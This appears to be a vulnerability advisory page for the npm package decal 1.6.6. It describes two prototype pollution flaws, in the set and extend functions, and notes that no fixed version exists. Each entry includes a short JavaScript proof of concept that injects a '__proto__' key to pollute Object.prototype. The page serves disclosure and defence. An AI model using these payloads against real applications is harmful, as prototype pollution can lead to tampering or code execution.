decal@1.6.6 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the decal package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the set function.

PoC

const decal = require('decal');

console.log('Before:', {}.polluted);
decal.set({}, "__proto__.polluted", "1337");
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for decal.

*
  • H
Prototype Pollution

Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the extend function.

PoC

const decal = require('decal');

console.log('Before:', {}.polluted);
const o = JSON.parse('{"__proto__":{"polluted":"1"}}');
decal.extend({}, true, o);
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for decal.

*